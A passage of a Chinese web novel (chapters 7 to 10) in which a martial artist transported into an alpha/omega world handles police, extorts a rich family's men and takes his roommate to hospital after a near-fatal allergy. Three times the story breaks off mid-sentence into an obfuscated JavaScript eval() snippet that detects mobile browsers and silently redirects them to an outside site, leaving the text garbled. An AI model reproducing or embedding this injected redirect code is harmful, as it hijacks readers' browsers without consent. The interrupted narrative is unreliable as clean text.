在项知擎终于脱掉他外套的那一刻,安纯拿起一旁的红色束缚绳,将它在自己的脖子上绕了一圈,然后他把红绳递给项知擎,穿着一身破破烂烂,完全坏成碎布的睡衣躺在床上,仰着雪白的,缠绕着红绳的脖颈,看着项知擎笑,苍白的嘴唇吐出两个字: “阉货。” 来啊,勒死我。 像勒死那个带着项圈的omega一样勒死我。 最好丧失理智,最好现在就开始,最好能让即将到来的警察抓个现行。 他没办法杀掉霍渊,只能退而求其次,处理这个阻止他杀霍渊的另一个烂人了。 . 项知擎:“……” 项知擎听到室友说的那两个字了,他在想室友说的那两个字是什么意思,是不是他想的那个意思。 除此之外,项知擎也不知道室友为什么要把红绳缠在脖子上把绳头递给他……看起来怪怪的。 “砰!” 就在这时,在项知擎陷入深度思索的时候,卧室房门被人猛地破开,穿着静音鞋拿着长枪的警察突然出现在门前! 警察戴着很奇特的眼镜,手中的长枪在开门的刹那就指向了项知擎,而在看清屋内场景后,警察手中的长枪更是逼近了一步,死死抵上项知擎的后腰! “抱头!蹲下!” 警察厉声呵斥! 项知擎:“……” 项知擎低头看着自己半跪在室友床边的糟糕姿势,看着手里拿着的缠在室友脖子上的红绳,脑袋“嗡”地一声,通了。 凶杀现场! 室友这么做是为了狠狠诬陷他! 室友真是……坏得流油!!!!! 7. 第 7 章 “抱头!蹲下!” 身后的警察发出第二声呵斥,长枪的枪口更是用力往项知擎身上压了压。 虽然项知擎觉得以他的内力能轻易将长枪震断,但为了不节外生枝,他还是默默松开手中的红绳,抱住头,缓缓蹲下了。 警察悄悄松了一口气。 客厅的惨象实在太触目惊心,他只看了一眼就浑身紧绷,高度警戒,然后在最紧张的时刻,他通过透视仪看见歹徒正在卧室行凶,像是下一秒就要把屋主勒死了!幸好他立刻破门而入,并震慑住了歹徒……等等! 警察神情一僵,突然想起来外面躺了一地的才是歹徒,那这个是…… “谁报的警?”警察问。 项知擎默默抬头:“……我。” 项知擎觉得他有必要为自己辩解一下,便立刻开口说:“我是屋主之一,外面那群入室行凶的歹徒都是我制服的,也是我报的警,只是我的……终端坏了,便借用了室友的。” 应该是叫终端吧?之前拨打失败的时候,提示音是“请检查您的‘终端’网络后重试”。 警察:“那你刚刚在对你的……室友做什么?” 警察其实也意识到自己闹乌龙了,没有哪个有理智的人会在报警后行凶,这两个人的身份也确实与资料里对得上,是今天刚结了二类婚姻的新婚夫妻。 考虑到大部分人对二类婚姻的排斥态度,有些人极其不愿意把自己的二类婚姻伴侣称作伴侣,于是他便也沿用了alpha的称呼,把omega称作他的“室友”。 项知擎张了张嘴,干巴巴地说:“……在……玩游戏。” 啊,这是什么鬼话,正常人都不会相信吧,项知擎叹了口气,希望警方能把这件事单纯地定性为“欺凌”,但如果警方实在不依不饶,他也只能将真实情况全盘托出了。 呵,到时候室友就别怪自己反告他诬害! 可项知擎怎么也没想到,警察竟轻易信了,警察目光在室友和他身上扫了一圈,然后说:“哦,原来是在玩游戏……要不我们去客厅谈吧,关于您制服歹徒的事,我们还有些细节需要询问……” 项知擎感到匪夷所思。 警察就这么信了?也不问受害者的意见?他下意识看向室友,发现室友已经把脖子上的红绳拿了下来,正在慢悠悠地穿外套,他表情没有任何的震惊和愤怒,只有淡淡的遗憾。 室友刚好在此刻抬起头,两人目光对视。 项知擎立刻对黑心肝的室友呲牙一笑:看!这就是正义! 室友淡淡瞥了他一眼,仰头把棉服拉链拉到顶端。 项知擎:“……” 好气哦。 项知擎愤然和警察一起走出卧室,进了客厅。 看见客厅横七竖八的歹徒,警察再次忍不住吸了口气,他看了看冲进来拍照、侦查、并将歹徒们一个接一个送上救护车的同事,态度很好地请“受害者”坐上沙发。 他已经认出了项知擎的身份,自然也猜出刚刚这对夫妻并不是在单纯“玩游戏”,但那又如何呢,二类婚姻与普通婚姻不同,只要没出人命,警方都是不管的……他拿出录像设备,询问起案件细节。 与此同时,另一名omega警员也敲门进了卧室。 项知擎将整件事如实叙述了出来,但说到止信仪时,警察记录的动作一顿:“止信仪……?你确定那群人拿了止信仪?等等,你刚刚说,那名穿西装的歹徒叫什么名字来着?” 项知擎:“霍渊。” “是霍渊!” 恰在此时,刚刚走进卧室给室友做笔录的女性警察冲了出来,对项知擎面前的警察说,“那位穿西装的歹徒是霍渊,霍家的继承人霍渊!” 霎时,在场除项知擎外,所有听到这句话的人都变了脸色,全都看向正被抬向担架的霍渊。 其中有个医护人员反应最快,他当场给霍渊又做了个急救,在他身上套了很多奇形怪状的医疗器具,最后小心翼翼地指挥人把他抬了出去。 可就在他们即将把霍渊抬进救护车的那一刻,一辆纯黑色的巨大飞车毫无征兆地突然出现,数十个黑衣人跑下来从医疗人员手中接过担架,将霍渊送入黑色飞车,飞车即刻关闭,转瞬消失无踪,但另有数辆小型飞车和几个穿着西装的男人留了下来,与众位警察进行交涉。 很快,在场所有人就一个接着一个地消失了。 在项知擎面前的警察也准备离开时,项知擎冲出门拦住他:“歹徒会坐牢吗?” 警察张了张嘴,没说话。 项知擎又问:“审判结果会公示吗?我该去哪里看歹徒判了多少年?” 警察压了压帽檐,低头撂下一句“后续会联系您”便匆匆离开了。 项知擎转过身,看见室友静静地依靠在门框上,在他身后,是倒塌的房门,摇晃的吊灯,和空无一人却满是狼藉的客厅。 风吹动室友额前的碎发。 室友眼睫动了动。 项知擎以为室友会看向他,会给他一个充满嘲讽的笑容,告诉他“看,这就是你报警的结果”,但室友没有。 室友一眼都没有看他,只仰头看了看纷飞的雪,便转身走进了卧室,卧室的门也被警察撞坏了,项知擎观察到室友并没能把它关严。 项知擎回过头,发现警察和医护人员已经走完了,凌乱的雪地上只剩下那几个西装男和他们的保镖,这些人正朝着自己的飞车走去。 “喂!”项知擎走过去拦住他们,“霍渊闯到我家,把我家搞得一团糟,赔钱!” 众位西装男脚步顿住,保镖立刻冲上来将他们护在身后,其中有位穿着白色西装外面还搭了件皮草的年轻男人很轻蔑地笑了一下,扬起下巴似乎想说什么,可他身侧一个戴眼镜的男人却及时制止了他,并凑在他耳边低声说:“霍三少,听说他一个人就打伤了大少爷和他的十二个保镖。” 白西装神情一滞,目光有些惊疑不定,将项知擎上上下下打量了一番。 “我们只带了五个保镖。” 眼镜男在西装男耳边说完这句话便直起身子,低头在终端上点了几下,对项知擎说:“项先生,请问您的收款账号是什么?我给您转过去。” 项知擎:“给我现金。” 眼镜男动作一顿,从怀里拿出皮夹,可他皮夹里只有两千块,眼镜男又看向其他人,众人也纷纷拿出现金,可所有人的钱加起来都不到一万,连室友的三分之一件睡衣都赔不起。 项知擎冷笑了一声,拿着那叠现金在掌心甩了甩,撩起眼皮看他们。 他身形高大,满身煞气,又有一打十三的恐怖前科,白西装犹豫了一下,小心翼翼地撸下自己价值数百万的扳指,递给项知擎。 项知擎嗤笑:“说了只要现金,听不懂?我是来索赔的,不是来打劫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17077645|195284||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的!” “真没有了,”眼镜男低声说,“我们现在就去取,您看行吗?” “行。” 项知擎点头,然后一掌推翻两个保镖,把那名白西装揪出来,勾住肩:“你们去取吧,外面冷,我和这位小兄弟去屋里等。” 白西装睁大眼,拼命摇头,五个保镖严阵以待,眼镜男也上前一步想说什么,但项知擎手臂一用力,白西装的脸瞬间被勒得青紫,眼镜男和保镖们也立刻停下动作。 项知擎挑眉看向白西装:“怎么?不愿意陪我?” 白西装眼泪流下来:“愿……愿意……” 项知擎对眼镜男等人颔首:“去吧,不用太急。” 几人立刻就上了车,迅速去取钱了。 项知擎则拎着白西装进了屋又进了卫生间,他知道这里飞车的速度都非常快,因此并没有浪费时间,几乎是第一时间就把白西装抵在墙上,抓着他的手腕将内力灌注了进去,内力在白西装经脉内游走,最后不断向上攀升,升到他大脑的部位,白西装那双充满惊恐的眼渐渐变得失神茫然。 项知擎盯着他的眼睛问:“你叫什么名字?” 白西装神情呆滞地回答:“霍凡。” . 眼镜男等人很快就拿来十万块钱赎走了同伴,霍凡似乎受到了惊吓,有点恹恹的,即便他的朋友在一旁疯狂安慰并大肆辱骂项知擎,计划着过两天寻个顶级alpha保镖团把项知擎弄残,霍凡也没什么反应,只疲倦地闭上了眼。 但没一会儿,他又睁开眼,发了疯般把身边所有人赶进另几辆飞车,自己则坐上驾驶座,要去飙车。 飞车在空中狂奔,很快消失不见。 十分钟后,飞车驶入希望住宅区,接了一个人,又迅速离开。 半个小时后,飞车驶入霍家庄园。 一个小时后,霍渊使用的顶级医疗舱意外破裂,霍渊高烧不退,一旁连接着霍渊身体的医疗仪发出一份检测报告,上面显示,霍渊大脑受到不明攻击,病情加重,醒来后有几率变成傻子。 与此同时,霍家的现任掌权人,霍渊的爷爷霍老太爷从梦中惊醒,却惊恐地发现脖颈上被人用黑色签字笔写下一行字: [您的孙子霍渊入室行凶,罪证确凿,请让他坐牢。] . “唔……” 天光熹亮,项知擎伸了个懒腰,步履散漫地走进希望住宅147号房。 147号合租屋看起来真是可怜极了,房门是没有的,瓷砖是碎裂的,墙壁是沾了血迹的,家具是无一完好的,简直像是遭遇了一场龙卷风。 项知擎打着哈欠踏过这堆狼藉,随手将一支笔投入被削掉了一半的笔筒,自然而然地推开卧室门,脱掉外套,掀开被子倒头就睡。 数秒后,项知擎忽然察觉到不对,他睁开眼。 只见室友正面无表情地看着他,片刻后又一脸嫌恶地闭上眼,仿佛面对的是一堆令人作呕的垃圾。 项知擎:“……” 项知擎还是感觉好气! 请问现在就从床上消失,假装从没回来过,然后一直待在外面,直到买下第一份印有霍渊入狱消息的报纸(如果这个世界也有报纸的话),狠狠甩到室友面前,告诉他“这就是我报警的结果”,然后仔细欣赏室友写满了震惊,喜悦,懊悔,庆幸,羞愧,冰释前嫌(?)的脸……还来不来得及?!!! 8. 第 8 章 在骂出那两个字,而项知擎并没有像预想中的那样陷入狂怒,并丧失理智地将他立刻勒死的那一刻,安纯就知道,他的最后一个计划也失败了。 但没关系。 他已经失败过太多次。 安纯垂下眼,静静摘下脖颈上的红绳,又拿起棉服慢慢穿上。 项知擎已经与警察解释清楚。 警察转身离开的那一刻,安纯看见项知擎正死死盯着他,脸上露出了恨不得把他嚼碎了吞下般的残暴狞笑。 安纯知道,他今晚就会被项知擎凌虐致死。 真是可惜。 安纯拉上棉服的拉链。 二类婚姻对omega的保护微乎其微,只要他不是在警察面前被项知擎活活勒死,那么法律对alpha一定会从轻处理。 . 在道出了霍渊的名字后,面前的omega警员一下子就变了脸色,于是一切都如预想中的那样发展——入室行凶的歹徒被最好的医疗团队接走,几名与霍渊有关的西装革履的alpha与警方握手攀谈,笑声朗朗,众人如宴会结束般优雅散场。 安纯仰头看向从漆黑的夜空中飘下来的洁白的雪。 他想,这或许就是他卑贱如泥的人生里能看到的最后一抹景色。 他转身,回到破败一片的房屋,回到连门都关不严的项知擎的卧室,他脱掉外套,躺在床上,闭上眼,准备迎接alpha憋了许久的滔天怒火。 可安纯等了许久都没等到alpha的到来。 啊,他不会是被霍家的人抓走暴打了吧。 安纯翘起唇角,又很快平息。 他拢了拢被子,身体更放松地沉入床褥,放任自己陷入人生里的最后一场酣眠。 . 安纯并没有如自己想象中那样睡得沉,项知擎推开门的那一刻,他就已经醒来了,却睫毛乱颤着,不愿睁开眼。 真是怯懦啊。 安纯厌弃自己。 明明昨天已经能以那么平静的姿态去迎接死亡了,只是好好地睡了一觉而已,只是做了一个零碎模糊但很美好的梦而已,他竟又开始贪生怕死了。 但他还是掐着自己的掌心睁开眼,恰好看见枕边的项知擎也正睁眼看向他。 项知擎满身寒意,一双漆黑的眼里是毫不遮掩的戾气,他们离得很近,近到安纯的发丝已经触到了项知擎的脸颊,而项知擎的呼吸也已经扑上了他的面庞。 事实上,项知擎长得并不丑,甚至因为不再过分瘦弱而显露出了几分本有的英俊,他的英俊是锋利的,鲜明的,哪怕他本性恶心到令人作呕,也没人会昧着良心指着他的脸骂一句丑陋。 但这并不妨碍安纯在这一刻体会到了野兽逼近是一种怎样的感受。 眼见野兽已经眯起眼,似乎欲将他撕碎,安纯条件反射般惊惶地闭上眼。 安纯死死掐着掌心,在心中唾恨自己的软弱。 一秒。 两秒。 安纯等了许久,都没等到项知擎的下一步动作,他睫毛颤着睁开眼,却见项知擎猛地翻了个身,床甚至被他晃得动了一下! 安纯屏住呼吸,片刻后,他上半身悄悄抬起,看见背对着他的项知擎正紧紧闭着眼,蹙着眉,满脸都是被强行压制下去的怒火。 ……为什么? 为什么这么愤怒却要忍着? 安纯不明白。 他用手肘撑着床铺,悄无声息地支起上半身,他睁圆了眼,四下打量,很快就发现了蛛丝马迹——项知擎随手挂在椅背的外套上,有一片黑蓝色的花瓣。 那是霍家研发,且整个玛瑙星只有霍家庄园才能拥有的星野玫瑰。 至于他为什么知道得这样清楚,当然是因为霍渊曾当着林永淼的面亲手送过他一支这样的玫瑰,他并没有接受,甚至扭头就走,但这支品种特别的玫瑰不但引起了他的过敏反应,还引发了他的家庭大战,结局是他不得不搬离养父母家,租住地下室,从此在星网上看到黑蓝色的花丛就要绕道而行,以免引起心中的不适。 ……项知擎去了霍家? 项知擎去了霍家,却完好无损地回来了,回来后虽然恨不得杀了他,却强忍着没动他一根手指头,答案显而易见——项知擎与霍家做了交易,要把他完好无损地留给霍渊处理,以此弥补自己打伤了霍渊的过失。 安纯呼吸忽然变得急促起来,他原以为这是因为他的情绪过于激动,可片刻后,他才意识到这是因为过敏——除了外套上的花瓣,项知擎全身都弥漫着星野玫瑰的香气,他的皮肤和头脸上甚至还沾染着不少星野玫瑰的花粉……他简直像是在那个造价昂贵,每一支玫瑰都能拍卖出天价的星野玫瑰丛里打了个滚! . 虽然项知擎很不喜欢室友没能干掉霍渊就把气撒到他身上的恶劣行径,但想到不久后就能用霍渊入狱的消息狠狠打室友的脸,项知擎就强忍下此刻的憋屈感,翻过身去睡了。 但没一会儿,项知擎就察觉到身后的呼吸声好像有点……不对? 项知擎狐疑地转过头,然后一下子从床上弹起来! 只见室友仰面躺在床上,呼吸急促,面色绯红,无数星星点点的红疹以肉眼可见的速度从他皮肤上浮现——他看上去快不行了! 项知擎飞快给室友做了心肺复苏和内力灌注,却发现毫无用处,就立刻跳起来去客厅找室友的终端。 室友的终端很快就找到了,但那个终端曾被项知擎扔出去砸过刀,此刻已经碎得不能再碎。 项知擎骂了声脏话,又冲出门找邻居求助,可这地方荒得可怕,他连闯了三家里面都空无一人。 电光石火之间,项知擎突然想起不久前他坐在飞车上往下看的时候曾见过一个大医院,那医院虽然离这边有点远,但位置却很好找,是希望住宅区的正东边! 项知擎立刻转身回房,用最快的速度给室友裹上棉衣,扛在肩头就往医院跑。 当然,他也没忘记提上钱。 内力灌注在双腿,项知擎施展轻功,以每秒将近二十米的速度扛着室友在雪地上疾驰,快成一阵裹着飞雪的旋风。 “……疾跑鞋?” 远处,有路人愣愣地看着那个模糊不清的身影,低头在星网的某个论坛上发表帖子:《哪个高科技大佬把星游上的疾跑鞋做出来了???我见有人都穿上了》 . 十分钟后,项知擎扛着室友冲进医院的急救中心,立刻就有训练有素的医护人员推来病床,用最快的速度给室友戴上各种医疗器具,室友的状况以肉眼可见的速度好转。 项知擎终于松了口气,抬手抹了把头上的汗。 有贴心的小护士走过来递给项知擎一杯水:“您放心,病人的病情已经得到初步控制,医疗头盔的检测结果是急性过敏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17077646|195284||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,接下来,病人会通过高级医疗舱进行最终治疗,两个小时后就能完全恢复。” 项知擎心中大为震撼,但仍旧是不动声色地接过水杯,点了点头。 室友已经被医护人员推向其他房间,刚刚给了项知擎水杯的护士又拿着一个光板和电子笔走过来:“你好,我们注意到病人没有佩戴个人终端,我们的系统也无法录入他的身份,因此我们需要向您了解一下他的基本信息,请问您现在方便吗?” 项知擎点了点头:“方便。” 护士:“好的,请问病人的名字是?” 项知擎:“安纯。” 护士:“性别?” 项知擎:“男。” 护士在透明光板上写字的电子笔一顿,又温声询问:“性别?” 项知擎以为护士没听清,便提高音量说:“男!” 护士脸上的笑容僵了僵,依旧没继续往光板上书写,片刻后,又温柔可亲地笑了起来:“好的,我们知道他是男性,那请问他是alpha,beta,还是omega?” 项知擎:“……” 什么啊耳法,什么杯塔,什么哦……? 为什么要说英文?不能说中文吗?有没有考虑过英文不好的人的感受?! 项知擎抿了抿嘴没说话,也没去问那三个英文是什么意思,因为他意识到这三个英文在这里代表的是一种人尽皆知的常识。 护士小姐等了一会儿没等到反应,脸上的笑容又僵了一点,然后继续温柔可亲地说:“好的,那请问您知道病人的年龄,证件号,和家庭住址吗?” 项知擎硬邦邦地说:“家庭住址是希望住宅147号。” 项知擎没想到护士小姐脸上的笑容还能更僵,她几乎是呆了好几秒,才再度开口:“实在不好意思,我们这里要先缴费,请问您带钱了吗?” 项知擎:“……” 刚刚怎么不说先缴费,他说了家庭住址后就说要先缴费,怎么?难道希望住宅是个全是合租危房的贫民窟?住的全是没钱看病的穷人?! 项知擎面无表情地把手中的箱子打开,里面是整整齐齐的10万。 护士小姐肉眼可见地松了一口气,并没有继续问项知擎什么,也没有真的让项知擎提前去缴费,而是态度很好,很温柔地把他带到了一个休息区,甚至在他面前的小桌板上放了一些水果和零食。 紧接着,她抱着没写几个字的光板去了护士站输入信息,信息很快就输入完毕,护士又侧身和旁边的同事悄悄说起了话。 两人的声音非常小,但项知擎还是以后天武者超乎常人的听力,听到了零星几句。 “刚刚送来的那个病人……是住希望住宅的……” “啊……” “还有那个病人家属,那个穿着睡衣,长得挺帅的大高个……他应该也是住希望住宅的……他是个……我问他病人是alpha,beta,还是omega,他竟然不知道是什么意思……” “啊……难怪……外面还下着雪呢,他就穿了件睡衣……我听说他是抱着病人跑来的……” “是啊,真可怜,明明是个……傻子,却知道心疼人……是个善良的傻子呢……所以我特地给他送去了儿童零食套餐,你看,他吃得多好……” 项知擎:“……” 项知擎拳头硬了,刚塞进嘴里的小零食也不香了。 9. 第 9 章 “您提供的姓名和家庭住址很有用呢!” 三分钟后。 之前那名护士小姐又朝项知擎笑意盈盈地走了过来,手里拿着一张单子,“我们根据您提供的信息确定了病人的身份,这是病人的身份信息单,您可以确认一下!” 项知擎面无表情地把单子接过来,发现上面印有室友的姓名、性别、年龄、身份证号、家庭住址以及一张一寸照片。 项知擎目光定格在性别一栏,上面写着:男性omega。 “病人是omega呢,”护士小姐指着性别一栏,用一种给傻子开智的温柔语气对项知擎说,“omega天生体弱,容易生病,也不如你们这些alpha抗冻,平常要爱护他们,帮助他们,不能与他们打架……” 项知擎:“……” 项知擎好想大喊一声我不是傻子,但又怕喊出来后被护士问“那什么是beta”,于是只能皱着眉,用冰冷的面容表达自己的不满。 不过同时,他又为这个世界的科技发展水平感到心惊——只是提供了一下姓名和家庭住址而已,医院不仅能查到安纯的个人信息,甚至连他这个室友的资料都能查到,知道“他”是alpha。 幸好他顶替了毒鬼的身份,否则要一直当黑户了。 护士话锋一转,又夸起项知擎:“但您已经做得很好啦,刚刚那么紧急的情况都没忘记给omega穿上棉衣,否则他真要冻坏了呢,不过棉衣还是有点不保暖,您可以给omega买件羽绒服……” 项知擎冷笑一声,把单子还给护士,提上钱箱转身就走。 呵!不是觉得他是傻子吗?那傻子没礼貌一点又如何?! 还想让他给室友买羽绒服?他凭什么给室友买羽绒服?室友是他的谁啊!善良的傻子就活该被人骗钱吗?! 项知擎以为护士会被他的反应弄得错愕,结果护士一点也不恼,甚至在背后温温柔柔地喊:“卫生间在前方右转哦,找不到的话可以询问工作人员~” 项知擎:“……” . 走出医院大门后,项知擎提着那十万走进一家商场,花三千块给自己从上到下置办了一身行头,将那件不合时宜的睡衣彻底换下,把自己收拾得保暖又聪明。 紧接着,他又随机挑选了一位正在楼梯间打老婆的男嘉宾,将一枚小石子弹向他身上的某个穴位。 这名幸运男士根本没察觉到小石子撞过来的力道,因为刹那之间,他突然腹痛如绞!他把老婆往旁边一推,捂着肚子快步向卫生间走去! 商场的卫生间并不分性别,只是进去后里面另有封闭且宽敞的独立单间,男人刚走进一个单间,还没来得及上锁,单间门就被人猛地拉开,随即,一个高大的身影出现在面前,并一把抓住他的手腕,男人瞬间睁大眼,可他还没来得及惊恐,腹痛感就消失无踪,他的表情也从急切变得茫然。 “啪嗒。” 项知擎把单间门反锁,盯着男人的眼睛问:“alpha,beta,和omega是什么?” 是的。 为了不继续被人当傻子,项知擎出来补课了。 男人呆滞回答:“是成年后分化的第二性别。” 项知擎:“这三者有什么区别?怎么分辨?” 男人:“alpha是人中龙凤,天之骄子,相貌英俊,身形高大,智商优越,体能强悍,卓尔不群,业界王者……” 项知擎:“……停!你是什么?!” 男人:“alpha。” 项知擎:“……” 项知擎:“beta和omega呢?” 男人:“beta平平无奇,人数最多,omega,长得好看,适合娶回家生孩子。” 项知擎:“男性omega呢?” 男人茫然重复:“适合娶回家生孩子。” 男的怎么生孩子! 项知擎一巴掌拍到他脑门上:“好好回答!” 男人捂着被打的地方滑坐在地,呆滞而委屈地说:“男性omega体质差劲,容易生病,皮肤白皙,身形瘦小,脑子蠢笨,性格软弱……” 脑子蠢笨,性格软弱? 项知擎想起他砍人抛尸都不眨眼的狠人室友,忍不住打了个哆嗦,又是一巴掌扇过去:“客观点!” 男人:“不、不蠢笨,不软弱,也有不瘦小的,但大部分都不会超过一米八……只是力气普遍较小……” 项知擎就这样得到了他想要的答案。 原来那三个英文是这个意思,原来“alpha,beta,omega”和他原本世界的“先天武者,后天武者,普通人”一样,都是以体质将人分成三类,原来alpha是各方面的强者,omega是各方面的弱者,beta则是介于两者中间的平庸者。 学到了新知识,并了解了新世界的项知擎满意地点了点头,他把男人从地上拉起来,收回他的小摄脑术,并顺手给男人下了两个暗示,一个是“没见过我”,一个是“怕老婆”,旋即,便从从容容地离开了。 走出卫生间后,项知擎还看到了那男人的老婆。 嗯……虽然项知擎并没有随意评价他人老婆的毛病,但这男人的老婆吧……长得可真像个男人啊。 . 做完这一切后,项知擎并没有立刻离开商场,而是去给室友买了双鞋——这并不是出于对omega的“爱护”或怜悯,纯粹是因为室友即将康复而他也穿得很体面,不愿意再扛着室友走。 鞋店旁边就是羽绒服店。 羽绒服店的橱窗里挂了件很漂亮的白色羽绒服 。 项知擎目不斜视地走过去了——他是不会给室友买羽绒服的!鞋钱也要从室友那三万块钱里扣!医疗费也是! 项知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17077647|195284||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 擎其实还想买个终端来着,但找遍商场他都没找到卖终端的店铺,只能无奈离场。 . “病人已经康复了,十分钟后就能出院,”项知擎刚回到急救中心,就得到这样一个消息,一个戴眼镜的白大褂一边跟他讲话,一边把手里的单子递给他,“家属先去缴费。” 项知擎接过缴费单一看,呆了:“四万七!” 怎么能这么贵! 白大褂瞥了他一眼:“安纯先生是急性过敏,送过来时已经性命垂危,我们给他用了最好的医疗仪器和最高级的医疗舱,现在已经把他治疗得身上连个红疹都没有了。” 项知擎:“……” 行吧,这里医疗手段确实挺厉害,不过他是不会为室友出这笔钱的,除了室友讹他的三万外,室友还要倒欠他一万七。 白大褂又递给项知擎一张单子:“病人的最终检测结果也出来了,这是能令他过敏的所有物质,以后要注意,尽量不要接触这些过敏源。” 项知擎接过单子一看,又惊了。 海鲜,花粉,猫毛皮屑,矮豚草,刺柏,户尘螨,粉尘螨……室友竟然对这么多东西都过敏!他甚至对蟑螂都过敏! “这里要注意一下花粉,”白大褂再度开口,“虽然检测结果显示他对花粉是轻度过敏,但对特殊品种的花粉也可能会出现严重过敏的反应,此次危及生命的严重过敏就是接触到了特殊品类的玫瑰花,但这种玫瑰花在我们系统中没有记录。” 项知擎愣住了。 特殊品类的玫瑰花? 他想起来了,在躲避霍家庄园盘旋在天空里的高端监控时,他曾在一片黑紫色的玫瑰花丛里潜伏过一阵……室友是因为他才过敏,因为他才险些丧命的? 项知擎怔怔地去缴了费。 紧接着,他又找了医生,主动用医院免费的全面消杀仪,将自己身上可能残存的花粉清除得干干净净。 做完这一切后,他才轻轻推开了室友的病房门。 室友已经醒了,正静静躺在床上,他穿着那身破旧的黑色棉衣,眼睛略有些失神地盯着天花板,他皮肤苍白,身形瘦弱,颈下的锁骨明显凸起……看起来很可怜。 应该给他买那身羽绒服的。 项知擎突然后悔了。 “对不起,”项知擎愧疚地说,“……是我让你过敏了。” 室友在床上转过头,然后眨了眨眼,开口:“对不起……是我让你过敏了。” 项知擎愣住:“安纯?” 室友:“安纯?” 项知擎一把将室友从床上拉起来,双手抓着他的肩膀问:“安纯!你怎么了?!” 室友歪头:“安纯,你怎么啦?” 项知擎:“……” 项知擎转身冲出病房,一把抓住医生的手,惊恐道: “——医生!你快去看看!我室友傻了!” 10. 第 10 章 项知擎的大声喧哗很快就引起了所有人的注意,医生更是被他抓得一个趔趄,这名可怜的医生还没站稳,就被手上那股力量拉着往病房飞驰而去,几乎脚不沾地! 眨眼之间,医生就被拽到病人面前,他惊魂未定地推了推眼镜,又双腿略软地扶住栏杆,有那么一瞬间,他想骂人,但良好的职业修养和个人素质让他止住了这一冲动,他开口问道:“怎、怎么了?” 病床上的安纯眨眨眼:“怎、怎么了?” 医生皱眉:“病人这是……” 安纯:“病人这是……” 项知擎悲痛:“如您所见,好像是傻了。” 安纯也降低音调,沉声道:“如您所见,好像是傻了。” 医生:“……” . 经过一系列紧急检查,医生给出结论:“不是我们医院的问题,我们给病人使用的高级医疗舱自问世以来就没有出现过医疗事故,而且我们只是治疗了病人的急性过敏,治疗过程中并未涉及过病人的脑部。” 项知擎:“那他现在怎么这样?” 医生:“这我们就不清楚了,或许是病人本就如此。” 项知擎眯起眼:“你意思是说他本来就是个傻子?!” 医生推推眼镜不说话。 远处,围成半个圈看过来的小护士们正在窃窃私语: “啊……好可怜啊,怎么办……原来这两个人都是傻子……” 项知擎:“……” 项知擎一下子就捏碎了医院走廊的扶手。 医生:“修理费五百。” 项知擎:“……” . 项知擎推开门再次走进病房,室友正坐在病床上转头看着外面的窗景,他头上戴着一副正播放纯音乐的降噪耳机,可以隔绝旁人说话的声音,但室友还是感知到了门开的动静,他立刻转过头,眼睛一眨也不眨地盯着项知擎。 项知擎伸手抓住他的手腕,将一缕精纯内力注入他的经脉,然后向上游走,但他并没有对室友使用摄脑术,而是检查起了室友的脑域。 没有,室友的脑域看不出半分被外力损坏的痕迹。 这说明他此刻的状况不是被外物损坏了脑子,而是……病? 是过敏吗? 是那场危及性命的急性过敏导致的后遗症吗? 项知擎张了张嘴,有些胸闷气短,只觉得愧疚感化作一根铁丝,将他的心脏死死勒紧了。 “也可能是过敏导致的后遗症,”医生走过来说,“毕竟他当时的过敏反应太剧烈了,发生什么都是有可能的。” “啪嗒。” 愧疚的铁丝终于把项知擎的心脏勒成了碎片。 “别灰心,”医生拍拍项知擎的肩膀,“虽然说我们医院的机器很高级,很先进,我们医院查不出治不了的问题,别的医院肯定也不行,但好好养着,说不定哪天就会康复,毕竟人的身体很奇妙,我们要期待奇迹。” 项知擎:“……” . 室友总是无差别重复别人讲话,这不仅会引来别人异样的目光,时间久了还会造成声带损伤,因此离开医院前,除了赔付走廊扶手的修理费外,项知擎还花一千五百元买下了医院的降噪耳机。 “这副耳机可以独立使用,里面内置了十首纯音乐,按这个键可以更换曲目,这个键可以调节音量……” 还是之前那名小护士,她耐心又细致地对项知擎介绍起耳机的使用方法,项知擎这次却没了被人当作傻子看的荒谬和愤怒,而是认认真真听完了,并低声说了句谢谢。 小护士看着两人携手离去的背影,眼泪渐渐湿了眼眶。 “真是好可怜的一对啊……他们以后要怎么生活……” . 被人可怜着的项知擎一走出医院就去旁边的商场给室友买了那件白色的羽绒服。 当然,由于室友棉衣下面的衣服也很不堪入目——就是那身快变成碎布的睡衣,因此项知擎还在同一家店给室友买了上衣和裤子,并亲自进更衣间给室友穿上了。 更衣间很宽敞,里面还有镜子。 项知擎看着镜子里的室友,问他:“喜欢吗?” 室友歪头:“喜欢吗?” 他的尾音说得很轻,听起来像“喜欢”。 项知擎笑着摸了摸他的头,又给他戴上耳机,拉着他走出更衣间。 项知擎决定相信奇迹。 